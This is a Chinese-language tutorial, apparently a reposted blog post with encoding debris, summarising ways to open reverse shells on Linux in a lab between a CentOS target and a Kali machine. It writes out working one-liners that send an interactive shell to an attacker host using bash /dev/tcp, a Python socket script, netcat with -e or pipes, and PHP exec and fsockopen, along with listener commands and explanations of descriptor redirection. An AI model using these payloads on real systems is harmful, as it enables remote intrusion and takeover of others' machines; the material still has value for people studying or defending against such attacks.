phpliunx反弹大马,Linux下反弹Shell方法总结

原标题&＃xff1a;Linux 下反弹 Shell 方法总结

16004488

所谓反弹shell&＃xff0c;指的是我们在自己的机器上开启监听&＃xff0c;然后在被攻击者的机器上发送连接请求去连接我们的机器&＃xff0c;将被攻击者的shell反弹到我们的机器上。

实验环境&＃xff1a;

CentOS 6.5&＃xff1a;192.168.0.3

kali2.0&＃xff1a;192.168.0.4

方法一

反弹shell命令如下&＃xff1a;

bash -i >& /dev/tcp/ip/port 0>&1

首先&＃xff0c;使用nc在kali上监听端口&＃xff1a;

nc -lvp 7777

然后在CentOS6.5下输入&＃xff1a;

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

可以看到shell成功反弹到了kali上面&＃xff0c;可以执行命令&＃xff1a;

在解释这条反弹shell的命令原理之前&＃xff0c;首先需要掌握几个点。

linux文件描述符&＃xff1a;linux shell下有三种标准的文件描述符&＃xff0c;分别如下&＃xff1a;

0 - stdin 代表标准输入,使用或>>2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义&＃xff0c;最好的理解是这样的&＃xff1a;

当>&后面接文件时&＃xff0c;表示将标准输出和标准错误输出重定向至文件。当>&后面接文件描述符时&＃xff0c;表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把&这个符号解释为是取地址符号&＃xff0c;学过C语言的小伙伴们都知道&这个符号代表取地址符&＃xff0c;在C&＃43;&＃43;中&符号还代表为引用&＃xff0c;这样做是为了区分文件描述符和文件&＃xff0c;比如查看一个不存在的文件&＃xff0c;要把标准错误重定向到标准输出&＃xff0c;如果直接cat notexistfile 2>1的话&＃xff0c;则会将1看作是一个文件&＃xff0c;将标准错误输出输出到1这个文件里而不是标准输出&＃xff0c;而&的作用就是为了区分文件和文件描述符&＃xff1a;

理解了上面这些知识&＃xff0c;下面来解释一下这一条反弹shell的命令首先&＃xff0c;bash -i代表在本地打开一个bash&＃xff0c;然后就是/dev/tcp/ip/port&＃xff0c; /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用&＃xff0c;建立一个socket连接&＃xff0c;>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件&＃xff0c;也就是传递到远程上&＃xff0c;如果远程开启了对应的端口去监听&＃xff0c;就会接收到这个bash的标准输出和标准错误输出&＃xff0c;这个时候我们在本机CentOS输入命令&＃xff0c;输出以及错误输出的内容就会被传递显示到远程。

在本地输入设备(键盘)输入命令&＃xff0c;在本地看不到输入的内容&＃xff0c;但是键盘输入的命令已经被输出到了远程&＃xff0c;然后命令的执行结果或者错误也会被传到远程&＃xff0c;查看远程&＃xff0c;可以看到标准输出和标准错误输出都重定向到了远程&＃xff1a;

下面在该命令后面加上0>&1&＃xff0c;代表将标准输入重定向到标准输出&＃xff0c;这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件&＃xff0c;也就是远程&＃xff0c;那么标准输入也就重定向到了远程&＃xff0c;这样的话就可以直接在远程输入了&＃xff1a;

那么&＃xff0c;0>&2也是可以的&＃xff0c;代表将标准输入重定向到标准错误输出&＃xff0c;而标准错误输出重定向到了/dev/tcp/ip/port这个文件&＃xff0c;也就是远程&＃xff0c;那么标准输入也就重定向到了远程&＃xff1a;

为了更形象的理解&＃xff0c;下面给出了整个过程的数据流向&＃xff0c;首先是本地的输入输出流向&＃xff1a;

执行bash -i >& /dev/tcp/ip/port后

执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后&＃xff1a;

方法二

使用python反弹&＃xff0c;反弹shell命令如下&＃xff1a;

python -c "import os,socket,subprocess;s&＃61;socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&＃39;ip&＃39;,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p&＃61;subprocess.call([&＃39;/bin/bash&＃39;,&＃39;-i&＃39;]);"

首先&＃xff0c;使用nc在kali上监听端口&＃xff1a;

nc -lvp 7777

在CentOS下使用python去反向连接&＃xff0c;输入&＃xff1a;

python -c "import os,socket,subprocess;s&＃61;socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&＃39;192.168.0.4&＃39;,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p&＃61;subprocess.call([&＃39;/bin/bash&＃39;,&＃39;-i&＃39;]);

可以看到kali上成功反弹到了shell&＃xff0c;可以执行一些命令&＃xff1a;

在已经深入理解了第一种方法的原理后&＃xff0c;下面来解释一下python反弹shell的原理。

首先使用socket与远程建立起连接&＃xff0c;接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程&＃xff0c;dup2这个方法有两个参数&＃xff0c;分别为文件描述符fd1和fd2&＃xff0c;当fd2参数存在时&＃xff0c;就关闭fd2&＃xff0c;然后将fd1代表的那个文件强行复制给fd2&＃xff0c;在这里可以把fd1和fd2看作是C语言里的指针&＃xff0c;将fd1赋值给fd2&＃xff0c;就相当于将fd2指向于s.fileno()&＃xff0c;fileno()返回的是一个文件描述符&＃xff0c;在这里也就是建立socket连接返回的文件描述符&＃xff0c;经过测试可以看到值为3。

于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3)&＃xff0c;接下来使用os的subprocess在本地开启一个子进程&＃xff0c;传入参数“-i”使bash以交互模式启动&＃xff0c;标准输入、标准输出、标准错误输出又被重定向到了远程&＃xff0c;这样的话就可以在远程执行输入命令了。

方法三

使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc&＃xff0c;CentOS6.5安装nc方法如下&＃xff1a;

1、下载安装wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/downloadtar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install2、配置vim /etc/profile添加以下内容&＃xff1a;

# set netcat pathexport NETCAT_HOME&＃61;/usr/local/netcatexport PATH&＃61;$PATH:$NETCAT_HOME/bin保存&＃xff0c;退出&＃xff0c;并使配置生效&＃xff1a;source /etc/profile3、测试nc -help成功

之后在kali上使用nc监听端口&＃xff1a;

nc -lvp 7777

在CentOS上使用nc去反向连接&＃xff0c;命令如下&＃xff1a;

nc -e /bin/bash 192.168.0.4 7777

这里的-e后面跟的参数代表的是在创建连接后执行的程序&＃xff0c;这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash)&＃xff0c;也就是反弹一个shell给远程&＃xff0c;可以看到远程已经成功反弹到了shell&＃xff0c;并且可以执行命令。

注意之前使用nc监听端口反弹shell时都会有一个警告&＃xff1a;Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了&＃xff0c;-n参数代表在建立连接之前不对主机进行dns解析。

nc -nlvp 7777

如果nc不支持-e参数的话&＃xff0c;可以利用到linux中的管道符&＃xff0c;首先在kali上开启监听&＃xff1a;

nc -nvlp 6666

nc -nvlp 7777

之后在CentOS上使用nc去反向链接&＃xff1a;

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

这里通过在kali上监听两个端口&＃xff0c;然后在使用CentOS进行反向连接的时候使用到了管道符&＃xff0c;管道符的作用是把管道符前的输出作为管道符后的输入&＃xff0c;这样的话就可以在远程的6666端口的输入设备(键盘)输入命令&＃xff0c;将命令输出传递至本地的/bin/bash&＃xff0c;通过本地shell解释执行命令后&＃xff0c;将命令执行的结果以及错误输入到远程的7777端口。

方法四

使用php反弹shell&＃xff0c;方法如下 。

首先最简单的一个办法&＃xff0c;就是使用php的exec函数执行方法1反弹shell的命令&＃xff1a;

php- &＃39;exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")&＃39;

还有一个是之前乌云知识库上的一个姿势&＃xff0c;使用php的fsockopen去连接远程&＃xff1a;

php -r &＃39;$sock&＃61;fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");&＃39;

这个姿势看起来有一些难以理解&＃xff0c;尤其是还出现了

有了之前的基础&＃xff0c;我们知道3代表的是使用fsockopen函数建立socket返回的文件描述符&＃xff0c;这里将标准输入&＃xff0c;标准输出和标准错误输出都重定向到了远程。

在CentOS上反向连接&＃xff0c;输入&＃xff1a;

php -r &＃39;$sock&＃61;fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");&＃39;

注意&＃xff1a;php反弹shell的这些方法都需要php关闭safe_mode这个选项&＃xff0c;才可以使用exec函数。

白帽子讲Web安全(纪念版)

责任编辑&＃xff1a;